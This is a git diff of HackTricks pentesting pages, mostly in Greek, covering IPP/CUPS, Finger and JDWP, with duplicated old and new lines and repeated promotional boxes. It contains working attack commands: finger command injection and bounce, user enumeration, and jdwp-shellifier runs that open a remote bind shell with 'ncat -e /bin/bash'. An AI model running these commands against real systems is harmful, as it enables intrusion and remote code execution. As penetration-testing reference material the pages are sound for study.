Το **Internet Printing Protocol (IPP)**, όπως καθορίζεται στα **RFC2910** και **RFC2911**, λειτουργεί ως βάση για την εκτύπωση μέσω του διαδικτύου. Η δυνατότητά του να επεκταθεί αποδεικνύεται από εξελίξεις όπως το **IPP Everywhere**, το οποίο στοχεύει στην τυποποίηση της εκτύπωσης σε κινητά και στο cloud, και την εισαγωγή επεκτάσεων για την **εκτύπωση 3D**.
Το **Internet Printing Protocol (IPP)**, όπως καθορίζεται στο **RFC2910** και **RFC2911**, χρησιμεύει ως θεμέλιο για την εκτύπωση μέσω του διαδικτύου. Η ικανότητά του να επεκτείνεται επιδεικνύεται από εξελίξεις όπως το **IPP Everywhere**, το οποίο στοχεύει στην τυποποίηση της εκτύπωσης μέσω κινητών και cloud, και την εισαγωγή επεκτάσεων για **3D εκτύπωση**.
Αξιοποιώντας το πρωτόκολλο **HTTP**, το IPP επωφελείται από καθιερωμένες πρακτικές ασφαλείας, συμπεριλαμβανομένων των **βασικών/διακριτικών πιστοποιήσεων** και της **κρυπτογράφησης SSL/TLS**. Ενέργειες όπως η υποβολή μιας εργασίας εκτύπωσης ή η ανάκτηση της κατάστασης του εκτυπωτή πραγματοποιούνται μέσω **HTTP POST αιτημάτων** προς τον διακομιστή IPP, ο οποίος λειτουργεί στη θύρα **631/tcp**.
Αξιοποιώντας το πρωτόκολλο **HTTP**, το IPP επωφελείται από καθιερωμένες πρακτικές ασφάλειας, συμπεριλαμβανομένης της **basic/digest authentication** και της **SSL/TLS κρυπτογράφησης**. Ενέργειες όπως η υποβολή μιας εκτύπωσης ή η ερώτηση κατάστασης εκτυπωτή πραγματοποιούνται μέσω **HTTP POST requests** που κατευθύνονται στον διακομιστή IPP, ο οποίος λειτουργεί στην **θύρα 631/tcp**.
Μια γνωστή υλοποίηση του IPP είναι το **CUPS**, ένα σύστημα εκτύπωσης ανοιχτού κώδικα που χρησιμοποιείται ευρέως σε διάφορες διανομές Linux και OS X. Παρά τη χρησιμότητά του, το IPP, όπως και το LPD, μπορεί να εκμεταλλευτείται για τη μετάδοση κακόβουλου περιεχομένου μέσω αρχείων **PostScript** ή **PJL**, αποδεικνύοντας έτσι ένα δυνητικό κίνδυνο ασφάλειας.
Μια γνωστή υλοποίηση του IPP είναι το **CUPS**, ένα ανοιχτού κώδικα σύστημα εκτύπωσης που είναι διαδεδομένο σε διάφορες διανομές Linux και OS X. Παρά τη χρησιμότητά του, το IPP, όπως και το LPD, μπορεί να εκμεταλλευτεί για τη μετάδοση κακόβουλου περιεχομένου μέσω **PostScript** ή **PJL files**, υπογραμμίζοντας έναν πιθανό κίνδυνο ασφάλειας.
```python
# Example of sending an IPP request using Python
import requests
@ -31,20 +32,19 @@ data = b"..." # IPP request data goes here
response = requests.post(url, headers=headers, data=data, verify=True)
print(response.status_code)
```
Αν θέλετε να μάθετε περισσότερα για [**το χάκινγκ των εκτυπωτών διαβάστε αυτήν τη σελίδα**](http://hacking-printers.net/wiki/index.php/Main_Page).
Αν θέλετε να μάθετε περισσότερα για το [**hacking εκτυπωτών διαβάστε αυτή τη σελίδα**](http://hacking-printers.net/wiki/index.php/Main_Page).
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΠΛΑΝΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,16 +1,17 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Προεπιλεγμένη Θύρα:** 2301,2381
@ -29,16 +30,17 @@ pg_hba.conf
jboss-service.xml
.namazurc
```
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα κόλπα σας για το hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,72 +1,51 @@
# 79 - Ελεγκτική δοκιμή Finger
# 79 - Pentesting Finger
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## **Βασικές πληροφορίες**
## **Basic Info**
Το πρόγραμμα/υπηρεσία **Finger** χρησιμοποιείται για την ανάκτηση λεπτομερειών σχετικά με τους χρήστες υπολογιστών. Συνήθως, οι παρεχόμενες πληροφορίες περιλαμβάνουν το **όνομα σύνδεσης του χρήστη, το πλήρες όνομα** και, σε ορισμένες περιπτώσεις, επιπλέον λεπτομέρειες. Αυτές οι επιπλέον λεπτομέρειες μπορεί να περιλαμβάνουν την τοποθεσία του γραφείου και τον αριθμό τηλεφώνου (εάν είναι διαθέσιμος), την ώρα που συνδέθηκε ο χρήστης, την περίοδο αδράνειας (χρόνος αδράνειας), την τελευταία φορά που ο χρήστης διάβασε το email και το περιεχόμενο των αρχείων σχεδίου και έργου του χρήστη.
Το πρόγραμμα/υπηρεσία **Finger** χρησιμοποιείται για την ανάκτηση λεπτομερειών σχετικά με τους χρήστες υπολογιστών. Συνήθως, οι πληροφορίες που παρέχονται περιλαμβάνουν το **όνομα σύνδεσης του χρήστη, το πλήρες όνομα** και, σε ορισμένες περιπτώσεις, επιπλέον λεπτομέρειες. Αυτές οι επιπλέον λεπτομέρειες μπορεί να περιλαμβάνουν την τοποθεσία του γραφείου και τον αριθμό τηλεφώνου (αν είναι διαθέσιμος), την ώρα που ο χρήστης συνδέθηκε, την περίοδο αδράνειας (idle time), την τελευταία φορά που διαβάστηκε το email από τον χρήστη και τα περιεχόμενα των αρχείων σχεδίου και έργου του χρήστη.
**Προεπιλεγμένη θύρα:** 79
**Default port:** 79
```
PORT STATE SERVICE
79/tcp open finger
```
## **Απαρίθμηση**
## **Αναγνώριση**
### **Ανάκτηση Μπάνερ/Βασική σύνδεση**
### **Λήψη Πανό/Βασική σύνδεση**
```bash
nc -vn <IP> 79
echo "root" | nc -vn <IP> 79
```
### **Απαρίθμηση χρηστών**
User enumeration is the process of gathering information about valid usernames on a target system. This information can be used by attackers to launch further attacks, such as brute-forcing passwords or attempting to gain unauthorized access to user accounts.
There are several methods that can be used to perform user enumeration, including:
- **Finger service**: The Finger service is a network protocol that allows users to retrieve information about other users on a remote system. Attackers can use this service to query the target system and obtain a list of valid usernames.
- **Username guessing**: Attackers can attempt to guess valid usernames by using common naming conventions, such as first names, last names, or combinations of the two. They can also use publicly available information, such as social media profiles or company directories, to gather potential usernames.
- **User enumeration tools**: There are various tools available that automate the process of user enumeration. These tools can perform tasks such as querying the Finger service, brute-forcing usernames, or scraping websites for potential usernames.
To protect against user enumeration attacks, it is important to implement proper security measures, such as:
- **Disable Finger service**: If the Finger service is not required, it is recommended to disable it to prevent attackers from querying the system for user information.
- **Implement account lockouts**: Implementing account lockouts after a certain number of failed login attempts can help prevent brute-force attacks.
- **Use strong and unique usernames**: Avoid using common naming conventions for usernames and ensure that each user has a unique username that is not easily guessable.
- **Monitor and log failed login attempts**: Monitoring and logging failed login attempts can help identify potential user enumeration attacks and allow for timely response and mitigation.
By understanding the techniques used in user enumeration attacks and implementing proper security measures, organizations can better protect their systems and user accounts from unauthorized access.
### **Καταμέτρηση χρηστών**
```bash
finger @<Victim> #List users
finger admin@<Victim> #Get info of user
finger user@<Victim> #Get info of user
```
Εναλλακτικά, μπορείτε να χρησιμοποιήσετε το **finger-user-enum** από το [**pentestmonkey**](http://pentestmonkey.net/tools/user-enumeration/finger-user-enum), μερικά παραδείγματα:
Εναλλακτικά, μπορείτε να χρησιμοποιήσετε το **finger-user-enum** από τον [**pentestmonkey**](http://pentestmonkey.net/tools/user-enumeration/finger-user-enum), μερικά παραδείγματα:
```bash
finger-user-enum.pl -U users.txt -t 10.0.0.1
finger-user-enum.pl -u root -t 10.0.0.1
finger-user-enum.pl -U users.txt -T ips.txt
```
#### **Το Nmap εκτελεί ένα script για να κάνει χρήση των προεπιλεγμένων scripts**
#### **Nmap εκτελεί ένα σενάριο για να χρησιμοποιήσει τα προεπιλεγμένα σενάρια**
### Το Metasploit χρησιμοποιεί περισσότερα κόλπα από το Nmap
### Metasploit χρησιμοποιεί περισσότερα κόλπα από το Nmap
```
use auxiliary/scanner/finger/finger_users
```
@ -74,28 +53,29 @@ use auxiliary/scanner/finger/finger_users
* `port:79 USER`
## Εκτέλεση εντολής
## Εκτέλεση εντολών
```bash
finger "|/bin/id@example.com"
finger "|/bin/ls -a /@example.com"
```
## Αναπήδηση του Finger
## Finger Bounce
[Χρησιμοποιήστε ένα σύστημα ως αναμεταδότης του finger](https://securiteam.com/exploits/2BUQ2RFQ0I/)
[Χρησιμοποιήστε ένα σύστημα ως δρομολογητή finger](https://securiteam.com/exploits/2BUQ2RFQ0I/)
```
finger user@host@victim
finger @internal@external
```
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,62 +1,63 @@
# Ελέγχος ασφάλειας JDWP - Πρωτόκολλο Αποσφαλμάτωσης Καλωδίου Java
# Pentesting JDWP - Java Debug Wire Protocol
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF**, ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Εκμετάλλευση
Η εκμετάλλευση του JDWP βασίζεται στην **έλλειψη πιστοποίησης και κρυπτογράφησης του πρωτοκόλλου**. Συνήθως βρίσκεται στη **θύρα 8000**, αλλά είναι δυνατή η χρήση και άλλων θυρών. Η αρχική σύνδεση γίνεται αποστέλλοντας ένα "JDWP-Handshake" στη θύρα προορισμού. Εάν ένα JDWP service είναι ενεργό, απαντά με τον ίδιο συμβολοσειριακό χαρακτήρα, επιβεβαιώνοντας την παρουσία του. Αυτή η αναγνώριση λειτουργεί ως μέθοδος αποτύπωσης για την εντοπισμό των υπηρεσιών JDWP στο δίκτυο.
Η εκμετάλλευση του JDWP βασίζεται στην **έλλειψη αυθεντικοποίησης και κρυπτογράφησης του πρωτοκόλλου**. Γενικά βρίσκεται σε **θύρα 8000**, αλλά είναι δυνατές και άλλες θύρες. Η αρχική σύνδεση γίνεται στέλνοντας ένα "JDWP-Handshake" στη στοχευμένη θύρα. Εάν μια υπηρεσία JDWP είναι ενεργή, απαντά με την ίδια συμβολοσειρά, επιβεβαιώνοντας την παρουσία της. Αυτό το handshake λειτουργεί ως μέθοδος αναγνώρισης για την ταυτοποίηση υπηρεσιών JDWP στο δίκτυο.
Όσον αφορά τον εντοπισμό διεργασιών, η αναζήτηση της συμβολοσειράς "jdwk" σε διεργασίες Java μπορεί να υποδείξει μια ενεργή συνεδρία JDWP.
Όσον αφορά την αναγνώριση διαδικασιών, η αναζήτηση της συμβολοσειράς "jdwk" σε διαδικασίες Java μπορεί να υποδείξει μια ενεργή συνεδρία JDWP.
Το εργαλείο που χρησιμοποιείται είναι το [jdwp-shellifier](https://github.com/hugsy/jdwp-shellifier). Μπορείτε να το χρησιμοποιήσετε με διάφορες παραμέτρους:
Το εργαλείο αναφοράς είναι το [jdwp-shellifier](https://github.com/hugsy/jdwp-shellifier). Μπορείτε να το χρησιμοποιήσετε με διάφορες παραμέτρους:
```bash
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 #Obtain internal data
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept
```
Ανακάλυψα ότι η χρήση της επιλογής `--break-on 'java.lang.String.indexOf'` καθιστά την εκμετάλλευση πιο **σταθερή**. Και αν έχετε τη δυνατότητα να ανεβάσετε ένα backdoor στον κεντρικό υπολογιστή και να το εκτελέσετε αντί να εκτελέσετε μια εντολή, η εκμετάλλευση θα είναι ακόμα πιο σταθερή.
I found that the use of `--break-on 'java.lang.String.indexOf'` make the exploit more **σταθερό**. And if you have the change to upload a backdoor to the host and execute it instead of executing a command, the exploit will be even more stable.
## Περισσότερες λεπτομέρειες
## More details
**Αυτό είναι ένα σύνοψη του [https://ioactive.com/hacking-java-debug-wire-protocol-or-how/](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/)**. Ελέγξτε το για περαιτέρω λεπτομέρειες.
**This is a summary of [https://ioactive.com/hacking-java-debug-wire-protocol-or-how/](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/)**. Check it for further details.
1. **Επισκόπηση JDWP**:
- Είναι ένα πρωτόκολλο δικτύου βασισμένο σε πακέτα, κυρίως συγχρονισμένο.
- Δεν διαθέτει πιστοποίηση και κρυπτογράφηση, καθιστώντας το ευάλωτο όταν εκτίθεται σε εχθρικά δίκτυα.
1. **JDWP Overview**:
- It's a packet-based network binary protocol, primarily synchronous.
- Lacks authentication and encryption, making it vulnerable when exposed to hostile networks.
2. **Χειραψία JDWP**:
- Χρησιμοποιείται ένα απλό διαδικαστικό χειραψίας για την έναρξη της επικοινωνίας. Ανταλλάσσεται μια συμβολοσειρά ASCII 14 χαρακτήρων "JDWP-Handshake" μεταξύ του Debugger (πελάτη) και του Debuggee (διακομιστή).
2. **JDWP Handshake**:
- A simple handshake process is used to initiate communication. A 14-character ASCII string “JDWP-Handshake” is exchanged between the Debugger (client) and the Debuggee (server).
3. **Επικοινωνία JDWP**:
- Τα μηνύματα έχουν μια απλή δομή με πεδία όπως Μήκος, Αναγνωριστικό, Σημαία και ΣύνολοΕντολών.
- Οι τιμές του ΣυνόλουΕντολών κυμαίνονται από 0x40 έως 0x80, αντιπροσωπεύοντας διάφορες ενέργειες και γεγονότα.
3. **JDWP Communication**:
- Messages have a simple structure with fields like Length, Id, Flag, and CommandSet.
- CommandSet values range from 0x40 to 0x80, representing different actions and events.
4. **Εκμετάλλευση**:
- Το JDWP επιτρέπει τη φόρτωση και την κλήση αυθαίρετων κλάσεων και bytecode, δημιουργώντας κινδύνους για την ασφάλεια.
- Το άρθρο περιγράφει μια διαδικασία εκμετάλλευσης σε πέντε βήματα, που περιλαμβάνει την ανάκτηση αναφορών της Java Runtime, την ορισμό σημείων διακοπής και την κλήση μεθόδων.
4. **Exploitation**:
- JDWP allows loading and invoking arbitrary classes and bytecode, posing security risks.
- The article details an exploitation process in five steps, involving fetching Java Runtime references, setting breakpoints, and invoking methods.
5. **Εκμετάλλευση στην πραγματική ζωή**:
- Παρά τις πιθανές προστασίες του τείχους προστασίας, οι υπηρεσίες JDWP είναι ανακαλύψιμες και εκμεταλλεύσιμες σε πραγματικά σενάρια, όπως αποδεικνύουν αναζητήσεις σε πλατφόρμες όπως το ShodanHQ και το GitHub.
- Το σενάριο εκμετάλλευσης δοκιμάστηκε σε διάφορες εκδόσεις του JDK και είναι ανεξάρτητο από την πλατφόρμα, προσφέροντας αξιόπιστη εκτέλεση κώδικα απομακρυσμένα (RCE).
5. **Real-Life Exploitation**:
- Despite potential firewall protections, JDWP services are discoverable and exploitable in real-world scenarios, as demonstrated by searches on platforms like ShodanHQ and GitHub.
- The exploit script was tested against various JDK versions and is platform-independent, offering reliable Remote Code Execution (RCE).
6. **Ασφαλείς Επιπτώσεις**:
- Η παρουσία ανοιχτών υπηρεσιών JDWP στο διαδίκτυο υπογραμμίζει την ανάγκη για τακτικές αναθεωρήσεις ασφαλείας, απενεργοποίησης λειτουργιών αποσφαλμάτωσης σε παραγωγή και κατάλληλων ρυθμίσεων τείχους προστασίας.
6. **Security Implications**:
- The presence of open JDWP services on the internet underscores the need for regular security reviews, disabling debug functionalities in production, and proper firewall configurations.
### **Αναφορές:**
### **References:**
* [[https://ioactive.com/hacking-java-debug-wire-protocol-or-how/](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/)]
* [https://github.com/IOActive/jdwp-shellifier](https://github.com/IOActive/jdwp-shellifier)
@ -71,16 +72,17 @@
* [http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html](http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html)
* [http://nmap.org/nsedoc/scripts/jdwp-exec.html](http://nmap.org/nsedoc/scripts/jdwp-exec.html)
{% hint style="success" %}
